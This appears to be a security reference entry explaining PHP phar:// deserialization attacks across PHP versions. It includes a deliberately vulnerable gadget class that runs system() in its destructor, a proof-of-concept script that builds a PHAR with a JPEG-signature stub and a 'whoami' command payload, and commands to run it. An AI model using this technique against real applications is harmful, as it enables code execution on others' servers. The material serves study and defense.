phar:// Deserialization
PHAR (PHP Archive) files can store serialized PHP values as archive metadata. Before PHP 8.0, opening a PHAR through the stream wrapper could automatically deserialize that metadata; starting with PHP 8.0, metadata deserialization is deferred until Phar::getMetadata() is called.[1]
Consequently, the classic phar:// object-injection technique applies primarily to PHP 7.x and older applications that pass attacker-controlled paths to filesystem functions such as file_exists(), filesize(), or file_get_contents(). On PHP 8.x, look instead for explicit calls to Phar::getMetadata() on an untrusted archive; PHP warns that doing so can execute code through object deserialization.[1][2]
Exploitation also requires a usable gadget class in the application. The following deliberately vulnerable example has a destructor that executes the value stored in $data:[3]
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); // Attacker-controlled path on affected PHP versionsThe following script creates a PHAR whose metadata contains that object:
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// Create a new PHAR.
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// Store the gadget object as metadata.
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();The stub starts with JPEG signature bytes. This may evade a simplistic signature check, but it does not make the archive a fully valid image and will not bypass robust server-side validation.[3]
Create test.phar with:
php --define phar.readonly=0 create_phar.phpOn an affected PHP version, invoking the vulnerable code causes the metadata object to be reconstructed and its destructor to run:
php vuln.php